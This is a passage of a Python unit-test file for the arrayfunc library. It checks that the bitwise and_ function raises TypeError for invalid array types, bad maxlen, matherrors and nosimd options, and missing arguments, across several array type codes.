arrayfunc.and_(self.inparray1b, self.inparray2b, maxlen='a')
########################################################
def test_and__array_array_none_e2(self):
"""Test and_ as *array-array-none* for matherrors=True (unsupported option) - Array code b.
"""
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, self.inparray2a)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, self.inparray2b, matherrors=True)
########################################################
def test_and__array_array_array_f1(self):
"""Test and_ as *array-array-array* for maxlen='a' - Array code b.
"""
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, self.inparray2a, self.dataout, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, self.inparray2b, self.dataout, maxlen='a')
########################################################
def test_and__array_array_array_f2(self):
"""Test and_ as *array-array-array* for matherrors=True (unsupported option) - Array code b.
"""
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, self.inparray2a, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, self.inparray2b, self.dataout, matherrors=True)
##############################################################################
##############################################################################
class and__opt_nosimd_param_errors_b(unittest.TestCase):
"""Test and_ for invalid nosimd parameter.
param_invalid_opt_nosimd_template
"""
########################################################
def setUp(self):
"""Initialise.
"""
self.inpdata1a = [100,101,102,103,104,105,106,107,108,109]
self.inpdata2a = [x for (x,y) in zip(itertools.cycle([0,1,2,3,4,5]), self.inpdata1a)]
arraysize = len(self.inpdata1a)
self.outpdata = itertools.repeat(0, arraysize)
self.inparray1a = array.array('b', self.inpdata1a)
self.inparray2a = array.array('b', self.inpdata2a)
self.dataout = array.array('b', self.outpdata)
self.inparray1b = copy.copy(self.inparray1a)
self.inparray2b = copy.copy(self.inparray2a)
########################################################
def test_and__array_num_none_a1(self):
"""Test and_ as *array-num-none* for nosimd='a' - Array code b.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, inpvalue, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, inpvalue, nosimd='a')
########################################################
def test_and__array_num_array_b1(self):
"""Test and_ as *array-num-array* for nosimd='a' - Array code b.
"""
# Copy the array so we don't change the original data.
inpvalue = self.inparray2a[0]
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, inpvalue, self.dataout, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, inpvalue, self.dataout, nosimd='a')
########################################################
def test_and__num_array_none_c1(self):
"""Test and_ as *num-array-none* for nosimd='a' - Array code b.
"""
inpvalue = self.inparray1a[0]
# This version is expected to pass.
arrayfunc.and_(inpvalue, self.inparray2a, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(inpvalue, self.inparray2b, nosimd='a')
########################################################
def test_and__num_array_array_d1(self):
"""Test and_ as *num-array-array* for nosimd='a' - Array code b.
"""
inpvalue = self.inparray1a[0]
# This version is expected to pass.
arrayfunc.and_(inpvalue, self.inparray2a, self.dataout, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(inpvalue, self.inparray2b, self.dataout, nosimd='a')
########################################################
def test_and__array_array_none_e1(self):
"""Test and_ as *array-array-none* for nosimd='a' - Array code b.
"""
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, self.inparray2a, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, self.inparray2b, nosimd='a')
########################################################
def test_and__array_array_array_f1(self):
"""Test and_ as *array-array-array* for nosimd='a' - Array code b.
"""
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, self.inparray2a, self.dataout, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, self.inparray2b, self.dataout, nosimd='a')
##############################################################################
##############################################################################
class and__param_errors_B(unittest.TestCase):
"""Test and_ for invalid array and numeric parameters.
param_invalid_template
"""
########################################################
def setUp(self):
"""Initialise.
"""
testdata1 = [100,101,102,103,104,105,106,107,108,109]
testdata2 = [x for (x,y) in zip(itertools.cycle([0,1,2,3,4,5]), testdata1)]
arraysize = len(testdata1)
self.testarray1 = array.array('B', testdata1)
self.testarray2 = array.array('B', testdata2)
self.dataout = array.array('B', itertools.repeat(0, arraysize))
# Create some data array equivalents with an incompatible type.
self.badarray1 = array.array('d', [float(x) for x in testdata1])
self.badarray2 = array.array('d', [float(x) for x in testdata2])
self.baddataout = array.array('d', [float(x) for x in self.dataout])
########################################################
def test_and__array_num_none_a1(self):
"""Test and_ as *array-num-none* for invalid type of array - Array code B.
"""
for testvalue in self.testarray2:
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# Copy the array so we don't change the original data.
testarray1 = copy.copy(self.testarray1)
badarray1 = copy.copy(self.badarray1)
# This version is expected to pass.
arrayfunc.and_(testarray1, testvalue)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(badarray1, testvalue)
########################################################
def test_and__array_num_none_a2(self):
"""Test and_ as *array-num-none* for invalid type of number - Array code B.
"""
for testvalue, badvalue in zip(self.testarray2, self.badarray2):
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# Copy the array so we don't change the original data.
testarray1 = copy.copy(self.testarray1)
# This version is expected to pass.
arrayfunc.and_(testarray1, testvalue)
testarray1 = copy.copy(self.testarray1)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(testarray1, badvalue)
########################################################
def test_and__array_num_array_b1(self):
"""Test and_ as *array-num-array* for invalid type of array - Array code B.
"""
for testvalue in self.testarray2:
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# Copy the array so we don't change the original data.
testarray1 = copy.copy(self.testarray1)
badarray1 = copy.copy(self.badarray1)
# This version is expected to pass.
arrayfunc.and_(testarray1, testvalue, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(badarray1, testvalue, self.dataout)
########################################################
def test_and__array_num_array_b2(self):
"""Test and_ as *array-num-array* for invalid type of number - Array code B.
"""
for testvalue, badvalue in zip(self.testarray2, self.badarray2):
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# Copy the array so we don't change the original data.
badarray1 = copy.copy(self.badarray1)
# This version is expected to pass.
arrayfunc.and_(self.testarray1, testvalue, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.testarray1, badvalue, self.dataout)
########################################################
def test_and__array_num_array_b3(self):
"""Test and_ as *array-num-array* for invalid type of output array - Array code B.
"""
for testvalue in self.testarray2:
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# Copy the array so we don't change the original data.
testarray1 = copy.copy(self.testarray1)
# This version is expected to pass.
arrayfunc.and_(testarray1, testvalue, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(testarray1, testvalue, self.baddataout)
########################################################
def test_and__num_array_none_c1(self):
"""Test and_ as *num-array-none* for invalid type of array - Array code B.
"""
for testvalue in self.testarray1:
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# Copy the array so we don't change the original data.
testarray2 = copy.copy(self.testarray2)
badarray2 = copy.copy(self.badarray2)
# This version is expected to pass.
arrayfunc.and_(testvalue, testarray2)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(testvalue, badarray2)
########################################################
def test_and__num_array_none_c2(self):
"""Test and_ as *num-array-none* for invalid type of number - Array code B.
"""
for testvalue, badvalue in zip(self.testarray1, self.badarray1):
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# Copy the array so we don't change the original data.
testarray2 = copy.copy(self.testarray2)
# This version is expected to pass.
arrayfunc.and_(testvalue, testarray2)
testarray2 = copy.copy(self.testarray2)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(badvalue, testarray2)
########################################################
def test_and__num_array_array_d1(self):
"""Test and_ as *num-array-array* for invalid type of array - Array code B.
"""
for testvalue in self.testarray1:
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# This version is expected to pass.
arrayfunc.and_(testvalue, self.testarray2, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(testvalue, self.badarray2, self.dataout)
########################################################
def test_and__num_array_array_d2(self):
"""Test and_ as *num-array-array* for invalid type of number - Array code B.
"""
for testvalue in self.testarray1:
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# This version is expected to pass.
arrayfunc.and_(testvalue, self.testarray2, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(testvalue, self.badarray2, self.dataout)
########################################################
def test_and__num_array_array_d3(self):
"""Test and_ as *num-array-array* for invalid type of output array - Array code B.
"""
for testvalue in self.testarray1:
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# This version is expected to pass.
arrayfunc.and_(testvalue, self.testarray2, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(testvalue, self.testarray2, self.baddataout)
########################################################
def test_and__array_array_none_e1(self):
"""Test and_ as *array-array-none* for invalid type of array - Array code B.
"""
# Copy the array so we don't change the original data.
testarray1 = copy.copy(self.testarray1)
# This version is expected to pass.
arrayfunc.and_(testarray1, self.testarray2)
# Copy the array so we don't change the original data.
testarray1 = copy.copy(self.testarray1)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(testarray1, self.badarray2)
########################################################
def test_and__array_array_none_e2(self):
"""Test and_ as *array-array-none* for invalid type of array - Array code B.
"""
# This version is expected to pass.
arrayfunc.and_(self.testarray1, self.testarray2)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.badarray1, self.testarray2)
########################################################
def test_and__array_array_array_f1(self):
"""Test and_ as *array-array-array* for invalid type of array - Array code B.
"""
# This version is expected to pass.
arrayfunc.and_(self.testarray1, self.testarray2, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.testarray1, self.badarray2, self.dataout)
########################################################
def test_and__array_array_array_f2(self):
"""Test and_ as *array-array-array* for invalid type of array - Array code B.
"""
# This version is expected to pass.
arrayfunc.and_(self.testarray1, self.testarray2, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.badarray1, self.testarray2, self.dataout)
########################################################
def test_and__array_array_array_f3(self):
"""Test and_ as *array-array-array* for invalid type of output array - Array code B.
"""
# This version is expected to pass.
arrayfunc.and_(self.testarray1, self.testarray2, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.testarray1, self.testarray2, self.baddataout)
########################################################
def test_and__no_params_g1(self):
"""Test and_ with no parameters - Array code B.
"""
with self.assertRaises(TypeError):
arrayfunc.and_()
##############################################################################
##############################################################################
class and__opt_param_errors_B(unittest.TestCase):
"""Test and_ for invalid maxlen parameter.
param_invalid_opt_template
"""
########################################################
def setUp(self):
"""Initialise.
"""
self.inpdata1a = [100,101,102,103,104,105,106,107,108,109 ]
self.inpdata2a = [x for (x,y) in zip(itertools.cycle([0,1,2,3,4,5]), self.inpdata1a)]
arraysize = len(self.inpdata1a)
self.testmaxlen = len(self.inpdata1a) // 2
self.outpdata = itertools.repeat(0, arraysize)
self.inparray1a = array.array('B', self.inpdata1a)
self.inparray2a = array.array('B', self.inpdata2a)
self.dataout = array.array('B', self.outpdata)
self.inparray1b = copy.copy(self.inparray1a)
self.inparray2b = copy.copy(self.inparray2a)
########################################################
def test_and__array_num_none_a1(self):
"""Test and_ as *array-num-none* for maxlen='a' - Array code B.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, inpvalue, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, inpvalue, maxlen='a')
########################################################
def test_and__array_num_none_a2(self):
"""Test and_ as *array-num-none* for matherrors=True (unsupported option) - Array code B.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, inpvalue)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, inpvalue, matherrors=True)
########################################################
def test_and__array_num_array_b1(self):
"""Test and_ as *array-num-array* for maxlen='a' - Array code B.
"""
# Copy the array so we don't change the original data.
inpvalue = self.inparray2a[0]
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, inpvalue, self.dataout, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, inpvalue, self.dataout, maxlen='a')
########################################################
def test_and__array_num_array_b2(self):
"""Test and_ as *array-num-array* for matherrors=True (unsupported option) - Array code B.
"""
# Copy the array so we don't change the original data.
inpvalue = self.inparray2a[0]
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, inpvalue, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, inpvalue, self.dataout, matherrors=True)
########################################################
def test_and__num_array_none_c1(self):
"""Test and_ as *num-array-none* for maxlen='a' - Array code B.
"""
inpvalue = self.inparray1a[0]
# This version is expected to pass.
arrayfunc.and_(inpvalue, self.inparray2a, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(inpvalue, self.inparray2b, maxlen='a')
########################################################
def test_and__num_array_none_c2(self):
"""Test and_ as *num-array-none* for matherrors=True (unsupported option) - Array code B.
"""
inpvalue = self.inparray1a[0]
# This version is expected to pass.
arrayfunc.and_(inpvalue, self.inparray2a)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(inpvalue, self.inparray2b, matherrors=True)
########################################################
def test_and__num_array_array_d1(self):
"""Test and_ as *num-array-array* for maxlen='a' - Array code B.
"""
inpvalue = self.inparray1a[0]
# This version is expected to pass.
arrayfunc.and_(inpvalue, self.inparray2a, self.dataout, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(inpvalue, self.inparray2b, self.dataout, maxlen='a')
########################################################
def test_and__num_array_array_d2(self):
"""Test and_ as *num-array-array* for matherrors=True (unsupported option) - Array code B.
"""
inpvalue = self.inparray1a[0]
# This version is expected to pass.
arrayfunc.and_(inpvalue, self.inparray2a, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(inpvalue, self.inparray2b, self.dataout, matherrors=True)
########################################################
def test_and__array_array_none_e1(self):
"""Test and_ as *array-array-none* for maxlen='a' - Array code B.
"""
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, self.inparray2a, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, self.inparray2b, maxlen='a')
########################################################
def test_and__array_array_none_e2(self):
"""Test and_ as *array-array-none* for matherrors=True (unsupported option) - Array code B.
"""
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, self.inparray2a)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, self.inparray2b, matherrors=True)
########################################################
def test_and__array_array_array_f1(self):
"""Test and_ as *array-array-array* for maxlen='a' - Array code B.
"""
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, self.inparray2a, self.dataout, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, self.inparray2b, self.dataout, maxlen='a')
########################################################
def test_and__array_array_array_f2(self):
"""Test and_ as *array-array-array* for matherrors=True (unsupported option) - Array code B.
"""
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, self.inparray2a, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, self.inparray2b, self.dataout, matherrors=True)
##############################################################################
##############################################################################
class and__opt_nosimd_param_errors_B(unittest.TestCase):
"""Test and_ for invalid nosimd parameter.
param_invalid_opt_nosimd_template
"""
########################################################
def setUp(self):
"""Initialise.
"""
self.inpdata1a = [100,101,102,103,104,105,106,107,108,109]
self.inpdata2a = [x for (x,y) in zip(itertools.cycle([0,1,2,3,4,5]), self.inpdata1a)]
arraysize = len(self.inpdata1a)
self.outpdata = itertools.repeat(0, arraysize)
self.inparray1a = array.array('B', self.inpdata1a)
self.inparray2a = array.array('B', self.inpdata2a)
self.dataout = array.array('B', self.outpdata)
self.inparray1b = copy.copy(self.inparray1a)
self.inparray2b = copy.copy(self.inparray2a)
########################################################
def test_and__array_num_none_a1(self):
"""Test and_ as *array-num-none* for nosimd='a' - Array code B.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, inpvalue, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, inpvalue, nosimd='a')
########################################################
def test_and__array_num_array_b1(self):
"""Test and_ as *array-num-array* for nosimd='a' - Array code B.
"""
# Copy the array so we don't change the original data.
inpvalue = self.inparray2a[0]
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, inpvalue, self.dataout, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, inpvalue, self.dataout, nosimd='a')
########################################################
def test_and__num_array_none_c1(self):
"""Test and_ as *num-array-none* for nosimd='a' - Array code B.
"""
inpvalue = self.inparray1a[0]
# This version is expected to pass.
arrayfunc.and_(inpvalue, self.inparray2a, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(inpvalue, self.inparray2b, nosimd='a')
########################################################
def test_and__num_array_array_d1(self):
"""Test and_ as *num-array-array* for nosimd='a' - Array code B.
"""
inpvalue = self.inparray1a[0]
# This version is expected to pass.
arrayfunc.and_(inpvalue, self.inparray2a, self.dataout, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(inpvalue, self.inparray2b, self.dataout, nosimd='a')
########################################################
def test_and__array_array_none_e1(self):
"""Test and_ as *array-array-none* for nosimd='a' - Array code B.
"""
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, self.inparray2a, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, self.inparray2b, nosimd='a')
########################################################
def test_and__array_array_array_f1(self):
"""Test and_ as *array-array-array* for nosimd='a' - Array code B.
"""
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, self.inparray2a, self.dataout, nosimd=True)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, self.inparray2b, self.dataout, nosimd='a')
##############################################################################
##############################################################################
class and__param_errors_h(unittest.TestCase):
"""Test and_ for invalid array and numeric parameters.
param_invalid_template
"""
########################################################
def setUp(self):
"""Initialise.
"""
testdata1 = [100,101,102,103,104,105,106,107,108,109]
testdata2 = [x for (x,y) in zip(itertools.cycle([0,1,2,3,4,5]), testdata1)]
arraysize = len(testdata1)
self.testarray1 = array.array('h', testdata1)
self.testarray2 = array.array('h', testdata2)
self.dataout = array.array('h', itertools.repeat(0, arraysize))
# Create some data array equivalents with an incompatible type.
self.badarray1 = array.array('d', [float(x) for x in testdata1])
self.badarray2 = array.array('d', [float(x) for x in testdata2])
self.baddataout = array.array('d', [float(x) for x in self.dataout])
########################################################
def test_and__array_num_none_a1(self):
"""Test and_ as *array-num-none* for invalid type of array - Array code h.
"""
for testvalue in self.testarray2:
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# Copy the array so we don't change the original data.
testarray1 = copy.copy(self.testarray1)
badarray1 = copy.copy(self.badarray1)
# This version is expected to pass.
arrayfunc.and_(testarray1, testvalue)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(badarray1, testvalue)
########################################################
def test_and__array_num_none_a2(self):
"""Test and_ as *array-num-none* for invalid type of number - Array code h.
"""
for testvalue, badvalue in zip(self.testarray2, self.badarray2):
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# Copy the array so we don't change the original data.
testarray1 = copy.copy(self.testarray1)
# This version is expected to pass.
arrayfunc.and_(testarray1, testvalue)
testarray1 = copy.copy(self.testarray1)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(testarray1, badvalue)
########################################################
def test_and__array_num_array_b1(self):
"""Test and_ as *array-num-array* for invalid type of array - Array code h.
"""
for testvalue in self.testarray2:
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# Copy the array so we don't change the original data.
testarray1 = copy.copy(self.testarray1)
badarray1 = copy.copy(self.badarray1)
# This version is expected to pass.
arrayfunc.and_(testarray1, testvalue, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(badarray1, testvalue, self.dataout)
########################################################
def test_and__array_num_array_b2(self):
"""Test and_ as *array-num-array* for invalid type of number - Array code h.
"""
for testvalue, badvalue in zip(self.testarray2, self.badarray2):
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# Copy the array so we don't change the original data.
badarray1 = copy.copy(self.badarray1)
# This version is expected to pass.
arrayfunc.and_(self.testarray1, testvalue, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.testarray1, badvalue, self.dataout)
########################################################
def test_and__array_num_array_b3(self):
"""Test and_ as *array-num-array* for invalid type of output array - Array code h.
"""
for testvalue in self.testarray2:
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# Copy the array so we don't change the original data.
testarray1 = copy.copy(self.testarray1)
# This version is expected to pass.
arrayfunc.and_(testarray1, testvalue, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(testarray1, testvalue, self.baddataout)
########################################################
def test_and__num_array_none_c1(self):
"""Test and_ as *num-array-none* for invalid type of array - Array code h.
"""
for testvalue in self.testarray1:
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# Copy the array so we don't change the original data.
testarray2 = copy.copy(self.testarray2)
badarray2 = copy.copy(self.badarray2)
# This version is expected to pass.
arrayfunc.and_(testvalue, testarray2)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(testvalue, badarray2)
########################################################
def test_and__num_array_none_c2(self):
"""Test and_ as *num-array-none* for invalid type of number - Array code h.
"""
for testvalue, badvalue in zip(self.testarray1, self.badarray1):
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# Copy the array so we don't change the original data.
testarray2 = copy.copy(self.testarray2)
# This version is expected to pass.
arrayfunc.and_(testvalue, testarray2)
testarray2 = copy.copy(self.testarray2)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(badvalue, testarray2)
########################################################
def test_and__num_array_array_d1(self):
"""Test and_ as *num-array-array* for invalid type of array - Array code h.
"""
for testvalue in self.testarray1:
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# This version is expected to pass.
arrayfunc.and_(testvalue, self.testarray2, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(testvalue, self.badarray2, self.dataout)
########################################################
def test_and__num_array_array_d2(self):
"""Test and_ as *num-array-array* for invalid type of number - Array code h.
"""
for testvalue in self.testarray1:
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# This version is expected to pass.
arrayfunc.and_(testvalue, self.testarray2, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(testvalue, self.badarray2, self.dataout)
########################################################
def test_and__num_array_array_d3(self):
"""Test and_ as *num-array-array* for invalid type of output array - Array code h.
"""
for testvalue in self.testarray1:
with self.subTest(msg='Failed with parameter', testvalue = testvalue):
# This version is expected to pass.
arrayfunc.and_(testvalue, self.testarray2, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(testvalue, self.testarray2, self.baddataout)
########################################################
def test_and__array_array_none_e1(self):
"""Test and_ as *array-array-none* for invalid type of array - Array code h.
"""
# Copy the array so we don't change the original data.
testarray1 = copy.copy(self.testarray1)
# This version is expected to pass.
arrayfunc.and_(testarray1, self.testarray2)
# Copy the array so we don't change the original data.
testarray1 = copy.copy(self.testarray1)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(testarray1, self.badarray2)
########################################################
def test_and__array_array_none_e2(self):
"""Test and_ as *array-array-none* for invalid type of array - Array code h.
"""
# This version is expected to pass.
arrayfunc.and_(self.testarray1, self.testarray2)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.badarray1, self.testarray2)
########################################################
def test_and__array_array_array_f1(self):
"""Test and_ as *array-array-array* for invalid type of array - Array code h.
"""
# This version is expected to pass.
arrayfunc.and_(self.testarray1, self.testarray2, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.testarray1, self.badarray2, self.dataout)
########################################################
def test_and__array_array_array_f2(self):
"""Test and_ as *array-array-array* for invalid type of array - Array code h.
"""
# This version is expected to pass.
arrayfunc.and_(self.testarray1, self.testarray2, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.badarray1, self.testarray2, self.dataout)
########################################################
def test_and__array_array_array_f3(self):
"""Test and_ as *array-array-array* for invalid type of output array - Array code h.
"""
# This version is expected to pass.
arrayfunc.and_(self.testarray1, self.testarray2, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.testarray1, self.testarray2, self.baddataout)
########################################################
def test_and__no_params_g1(self):
"""Test and_ with no parameters - Array code h.
"""
with self.assertRaises(TypeError):
arrayfunc.and_()
##############################################################################
##############################################################################
class and__opt_param_errors_h(unittest.TestCase):
"""Test and_ for invalid maxlen parameter.
param_invalid_opt_template
"""
########################################################
def setUp(self):
"""Initialise.
"""
self.inpdata1a = [100,101,102,103,104,105,106,107,108,109 ]
self.inpdata2a = [x for (x,y) in zip(itertools.cycle([0,1,2,3,4,5]), self.inpdata1a)]
arraysize = len(self.inpdata1a)
self.testmaxlen = len(self.inpdata1a) // 2
self.outpdata = itertools.repeat(0, arraysize)
self.inparray1a = array.array('h', self.inpdata1a)
self.inparray2a = array.array('h', self.inpdata2a)
self.dataout = array.array('h', self.outpdata)
self.inparray1b = copy.copy(self.inparray1a)
self.inparray2b = copy.copy(self.inparray2a)
########################################################
def test_and__array_num_none_a1(self):
"""Test and_ as *array-num-none* for maxlen='a' - Array code h.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, inpvalue, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, inpvalue, maxlen='a')
########################################################
def test_and__array_num_none_a2(self):
"""Test and_ as *array-num-none* for matherrors=True (unsupported option) - Array code h.
"""
inpvalue = self.inparray2a[0]
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, inpvalue)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, inpvalue, matherrors=True)
########################################################
def test_and__array_num_array_b1(self):
"""Test and_ as *array-num-array* for maxlen='a' - Array code h.
"""
# Copy the array so we don't change the original data.
inpvalue = self.inparray2a[0]
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, inpvalue, self.dataout, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, inpvalue, self.dataout, maxlen='a')
########################################################
def test_and__array_num_array_b2(self):
"""Test and_ as *array-num-array* for matherrors=True (unsupported option) - Array code h.
"""
# Copy the array so we don't change the original data.
inpvalue = self.inparray2a[0]
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, inpvalue, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, inpvalue, self.dataout, matherrors=True)
########################################################
def test_and__num_array_none_c1(self):
"""Test and_ as *num-array-none* for maxlen='a' - Array code h.
"""
inpvalue = self.inparray1a[0]
# This version is expected to pass.
arrayfunc.and_(inpvalue, self.inparray2a, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(inpvalue, self.inparray2b, maxlen='a')
########################################################
def test_and__num_array_none_c2(self):
"""Test and_ as *num-array-none* for matherrors=True (unsupported option) - Array code h.
"""
inpvalue = self.inparray1a[0]
# This version is expected to pass.
arrayfunc.and_(inpvalue, self.inparray2a)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(inpvalue, self.inparray2b, matherrors=True)
########################################################
def test_and__num_array_array_d1(self):
"""Test and_ as *num-array-array* for maxlen='a' - Array code h.
"""
inpvalue = self.inparray1a[0]
# This version is expected to pass.
arrayfunc.and_(inpvalue, self.inparray2a, self.dataout, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(inpvalue, self.inparray2b, self.dataout, maxlen='a')
########################################################
def test_and__num_array_array_d2(self):
"""Test and_ as *num-array-array* for matherrors=True (unsupported option) - Array code h.
"""
inpvalue = self.inparray1a[0]
# This version is expected to pass.
arrayfunc.and_(inpvalue, self.inparray2a, self.dataout)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(inpvalue, self.inparray2b, self.dataout, matherrors=True)
########################################################
def test_and__array_array_none_e1(self):
"""Test and_ as *array-array-none* for maxlen='a' - Array code h.
"""
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, self.inparray2a, maxlen=self.testmaxlen)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, self.inparray2b, maxlen='a')
########################################################
def test_and__array_array_none_e2(self):
"""Test and_ as *array-array-none* for matherrors=True (unsupported option) - Array code h.
"""
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, self.inparray2a)
# This is the actual test.
with self.assertRaises(TypeError):
arrayfunc.and_(self.inparray1b, self.inparray2b, matherrors=True)
########################################################
def test_and__array_array_array_f1(self):
"""Test and_ as *array-array-array* for maxlen='a' - Array code h.
"""
# This version is expected to pass.
arrayfunc.and_(self.inparray1a, self.inparray2a, self.dataout, maxlen=self.testmaxlen)
# This is the actual test.
